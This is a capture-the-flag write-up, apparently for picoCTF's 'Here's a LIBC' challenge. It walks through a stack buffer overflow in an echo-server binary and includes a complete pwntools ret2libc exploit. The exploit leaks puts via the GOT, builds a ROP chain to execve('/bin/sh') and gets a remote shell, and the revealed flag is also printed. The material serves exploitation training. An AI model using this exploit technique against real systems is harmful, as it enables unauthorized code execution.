Investigation

When connecting to challenge server on the given hostname and port, it is an echo server which echoes back the user input in alternate case.

$ nc mercury.picoctf.net 37289
WeLcOmE To mY EcHo sErVeR!
test
TeSt
^C

We are given following files:

$ ls -lR
.:
total 20
drwxr-xr-x 2 kali kali 4096 Nov  9 00:32 libc
-rw-r--r-- 1 kali kali   95 Mar 15  2021 Makefile
-rw-r--r-- 1 kali kali 8560 Mar 15  2021 vuln

./libc:
total 1984
-rw-r--r-- 1 kali kali 2030544 Mar 15  2021 libc.so.6

We are given the MakeFile as well.

$ cat Makefile        
all:
        gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c

clean:
        rm vuln

We are given the lib.so.6 library from the target system along with the challenge binary itself.

Binary Security Measures

Inspecting the challenge binary to see the security measures.

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

The challenge binary is not compiled with PIE flag (also evident from MakeFile), hence no ASLR for the binary itself. However, NX bit is set, meaning stack is non-executable. We will have to use rop to solve this challenge.

Available Functions

Since binary is not ASLR enabled, we can use function address in the application binary itself.

gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x0000000000400518  _init
0x0000000000400540  puts@plt
0x0000000000400550  setresgid@plt
0x0000000000400560  setbuf@plt
0x0000000000400570  getegid@plt
0x0000000000400580  __isoc99_scanf@plt
0x0000000000400590  _start
0x00000000004005c0  _dl_relocate_static_pie
0x00000000004005d0  deregister_tm_clones
0x0000000000400600  register_tm_clones
0x0000000000400640  __do_global_dtors_aux
0x0000000000400670  frame_dummy
0x0000000000400677  convert_case
0x00000000004006d8  do_stuff
0x0000000000400771  main
0x00000000004008b0  __libc_csu_init
0x0000000000400920  __libc_csu_fini
0x0000000000400924  _fini
gdb-peda$

The puts@plt is of interest to us as we can leak runtime addresses of functions with it during runtime.

If we disassemble the instructions at puts@plt, we can get the address of [email protected].

gdb-peda$ disassemble 0x0000000000400540
Dump of assembler code for function puts@plt:
   0x0000000000400540 <+0>:     jmp    QWORD PTR [rip+0x200ad2]        # 0x601018 <[email protected]>
   0x0000000000400546 <+6>:     push   0x0
   0x000000000040054b <+11>:    jmp    0x400530
End of assembler dump.
gdb-peda$

This address will point to the address of puts in libc during runtime.

Crashing the Application

Running the challenge binary locally within debugger and attempting to crash it.

$ gdb ./vuln -q     
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r <<< $(python -c "print ('A'*1000)")
Starting program: /home/kali/Desktop/rop/pico-heres-a-libc/vuln <<< $(python -c "print ('A'*1000)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd

[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0 
RCX: 0x7ffff7cfa3f3 (<__GI___libc_write+19>:    cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7df6a50 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffde18 ('A' <repeats 200 times>...)
RIP: 0x400770 (<do_stuff+152>:  ret)
R8 : 0x7ffff7df6a50 --> 0x0 
R9 : 0x77 ('w')
R10: 0x40093a --> 0x1b01000000006325 
R11: 0x246 
R12: 0x1b 
R13: 0x0 
R14: 0x1b 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400769 <do_stuff+145>:     call   0x400540 <puts@plt>
   0x40076e <do_stuff+150>:     nop
   0x40076f <do_stuff+151>:     leave  
=> 0x400770 <do_stuff+152>:     ret    
   0x400771 <main>:     push   rbp
   0x400772 <main+1>:   mov    rbp,rsp
   0x400775 <main+4>:   push   r15
   0x400777 <main+6>:   push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ('A' <repeats 200 times>...)
0008| 0x7fffffffde20 ('A' <repeats 200 times>...)
0016| 0x7fffffffde28 ('A' <repeats 200 times>...)
0024| 0x7fffffffde30 ('A' <repeats 200 times>...)
0032| 0x7fffffffde38 ('A' <repeats 200 times>...)
0040| 0x7fffffffde40 ('A' <repeats 200 times>...)
0048| 0x7fffffffde48 ('A' <repeats 200 times>...)
0056| 0x7fffffffde50 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$n

We have successfully crashed the application.

Finding RIP offset.

Generating pattern with gdb pattern_create and giving it as input to the challenge binary.

$ gdb ./vuln -q 
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ pattern_create 1000 inp-pat
Writing pattern of 1000 chars to filename "inp-pat"
gdb-peda$ r < inp-pat 
Starting program: /home/kali/Desktop/rop/pico-heres-a-libc/vuln < inp-pat
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WeLcOmE To mY EcHo sErVeR!
AaA%AaSaAbAa$aAnAaCaA-Aa(aAdAa;aA)AaEaAaAa0aAfAaBaA1AaGaAcAa2aAhAaDaA3AaIaAeAa4aAjAaFaA5AaKaAgAa6aAlAAhAA7AAMAAiAA8AANAAd

[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0 
RCX: 0x7ffff7cfa3f3 (<__GI___libc_write+19>:    cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7df6a50 --> 0x0 
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffde18 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
RIP: 0x400770 (<do_stuff+152>:  ret)
R8 : 0x7ffff7df6a50 --> 0x0 
R9 : 0x77 ('w')
R10: 0x40093a --> 0x1b01000000006325 
R11: 0x246 
R12: 0x1b 
R13: 0x0 
R14: 0x1b 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400769 <do_stuff+145>:     call   0x400540 <puts@plt>
   0x40076e <do_stuff+150>:     nop
   0x40076f <do_stuff+151>:     leave  
=> 0x400770 <do_stuff+152>:     ret    
   0x400771 <main>:     push   rbp
   0x400772 <main+1>:   mov    rbp,rsp
   0x400775 <main+4>:   push   r15
   0x400777 <main+6>:   push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0008| 0x7fffffffde20 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
[....]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$

Take the first 8 characters from top of the stack (rsp) and give it to pattern_offset to find the rip offset.

gdb-peda$ pattern_offset AAQAAmAA
AAQAAmAA found at offset: 136
gdb-peda$

Piping the output of print ('A'*136 + 'B'*8 + 'C'*(1000-8-136)) will redirect the execution to 0x4242424242424242.

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r <<< $(python -c "print ('A'*136 + 'B'*8 + 'C'*(1000-8-136))")
Starting program: /home/kali/Desktop/rop/pico-heres-a-libc/vuln <<< $(python -c "print ('A'*136 + 'B'*8 + 'C'*(1000-8-136))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7a ('z')
RBX: 0x0 
RCX: 0x7ffff7cfa3f3 (<__GI___libc_write+19>:    cmp    rax,0xfffffffffffff000)
RDX: 0x1 
RSI: 0x1 
RDI: 0x7ffff7df6a50 --> 0x0 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffde18 ("BBBBBBBB", 'C' <repeats 192 times>...)
RIP: 0x400770 (<do_stuff+152>:  ret)
R8 : 0x7ffff7df6a50 --> 0x0 
R9 : 0x77 ('w')
R10: 0x40093a --> 0x1b01000000006325 
R11: 0x246 
R12: 0x1b 
R13: 0x0 
R14: 0x1b 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400769 <do_stuff+145>:     call   0x400540 <puts@plt>
   0x40076e <do_stuff+150>:     nop
   0x40076f <do_stuff+151>:     leave  
=> 0x400770 <do_stuff+152>:     ret    
   0x400771 <main>:     push   rbp
   0x400772 <main+1>:   mov    rbp,rsp
   0x400775 <main+4>:   push   r15
   0x400777 <main+6>:   push   r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde18 ("BBBBBBBB", 'C' <repeats 192 times>...)
0008| 0x7fffffffde20 ('C' <repeats 200 times>...)
[.....]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400770 in do_stuff ()
gdb-peda$

Exploit Development Approach

  • Leak the runtime address of puts by calling puts@plt with [email protected] address as argument.
  • Find the offset of puts function in the target libc.
  • Use the puts offset and leaked puts address to calculate the LIBC base address.
  • Search within libc.so.6 required gadgets to call execve("/bin/sh")
  • Exploit the buffer overflow again to call execve. To do this, we must return to the main function after leaking the puts address in step 1.

Implementation

from pwn import *

host, port = "mercury.picoctf.net", 37289

# target libc
libc = ELF("./libc/libc.so.6")

# challenge binary
chal = ELF("./vuln")

# puts offset in target libc
puts_offset = libc.symbols["puts"]

# 64 bit calling convention
# First 6 arguments (type int or ptr) in registers RDI, RSI, RDX, RCX, R8, R9
# Args 7 and above are pushed on to the stack

# function addresses
# 0x0000000000400540  puts@plt
puts_plt = 0x400540

# 0x0000000000400771  main
main = 0x400771

# 0x601018 <[email protected]>
# will point to the runtime address of puts
puts_got_plt = 0x601018

# Gadgets

# ropper --file vuln --search "pop rdi; ret"
# 0x0000000000400913: pop rdi; ret;

pop_rdi_ret = 0x400913

# ret addr for testing
fake_ret= 0xcafebabedeadbeef

# rip offset
payload = b"A"*136

# Step 1 - Leak the runtime address of puts.
# Call puts with the address of [email protected]
# puts([email protected])

# puts() writes the string s and a trailing newline to stdout.
# int puts(const char *s);

# Only one argument and is to be put in rdi.

payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt)    # RDI now contains the [email protected] which will
                                # point to the address of puts in libc.

payload += p64(puts_plt)	# call puts

# we return to main so that we can exploit the overflow again
# to call execve this time.
payload += p64(main)    # ret addr for puts


r = remote(host, port)

# recieve the banner
print (r.recvline().decode())

# send the payload
r.sendline(payload)

# receive the echo
print (r.recvline().decode())

# receive the leaked address of puts.
# we only need to receive the 6 bytes as the address is only 6 bytes long.
# gdb-peda$ p puts
# $1 = {int (const char *)} 0x7ffff7c75db0 <__GI__IO_puts>

puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)

print ("[+] Leaked address of puts(): " + hex(puts_leaked_addr))


# Step 2 - Calculate the base address of libc

# update the base address of libc
libc.address = puts_leaked_addr - puts_offset
print ("[+] LIBC Base Address: " + hex(libc.address))


# Step 3 - Search within LIBC gadgets required to call execve

# Search within LIBC the required gadgets for calling execve
# int execve(const char *pathname, char *const argv[],
#                  char *const envp[]);

# execve('/bin/sh', *0, *0)
# RDI = address of '/bin/sh'
# RSI = pointer to 0x0
# RDX = pointer 0x0

# gadgets for setting RSI and RDI to *0x0 were not found in challenge binary
# need to search them in libc.so.6

# ropper --file ./libc/libc.so.6 --search "pop rsi; ret"
# 0x00000000000024bf: pop rsi; retf 0x8a3f; sahf; sbb byte ptr [rax], cl; ret 0x5576;
# 0x0000000000023e8a: pop rsi; ret;

# ropper --file ./libc/libc.so.6 --search "pop rdx; ret"
# 0x0000000000100a42: pop rdx; ret 0xffff;
# 0x0000000000001b96: pop rdx; ret;

pop_rsi_ret = libc.address + 0x23e8a
pop_rdx_ret = libc.address + 0x1b96

# Finding address of execve, "/bin/sh" and
# an address pointing to zero within libc

binsh_string = next(libc.search(b"/bin/sh\x00"))
execve = libc.symbols["execve"]
zero_ptr = next(libc.search(b"\x00"*8))

# Step 4 - Exploit overflow again to call execve this time.

payload = b"A"*136

payload += p64(pop_rdi_ret)
payload += p64(binsh_string)    # RDI = addr of /bin/sh

payload += p64(pop_rsi_ret)     # RSI = * 0x0
payload += p64(zero_ptr)

payload += p64(pop_rdx_ret)     # RDX = * 0x0
payload += p64(zero_ptr)

payload += p64(execve)          # call execve

r.sendline(payload)

r.interactive()

Testing the exploit.

$ python poc.py
[*] '/home/kali/Desktop/rop/pico-heres-a-libc/libc/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/kali/Desktop/rop/pico-heres-a-libc/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
[+] Opening connection to mercury.picoctf.net on port 37289: Done
WeLcOmE To mY EcHo sErVeR!

AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd

[+] Leaked address of puts(): 0x7fa4abd7ea30
[+] LIBC Base Address: 0x7fa4abcfe000
[*] Switching to interactive mode

WeLcOmE To mY EcHo sErVeR!
AaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAaAAAAAAAAAAAAAAAAAAAAd
$ id
uid=1556(here-s-a-libc_1) gid=1557(here-s-a-libc_1) groups=1557(here-s-a-libc_1)
$ whoami
here-s-a-libc_1
$ ls -l
total 2008
-r--r----- 1 hacksports here-s-a-libc_1      45 Mar 16  2021 flag.txt
-rw-rw-r-- 1 hacksports hacksports      2030544 Mar 15  2021 libc.so.6
-rwxr-sr-x 1 hacksports here-s-a-libc_1    8560 Mar 16  2021 vuln
-rw-rw-r-- 1 hacksports hacksports          975 Mar 16  2021 vuln.c
-rwxr-sr-x 1 hacksports here-s-a-libc_1     116 Mar 16  2021 xinet_startup.sh
$ cat flag.txt
picoCTF{1_<3_sm4sh_st4cking_e900800fb4613d1e}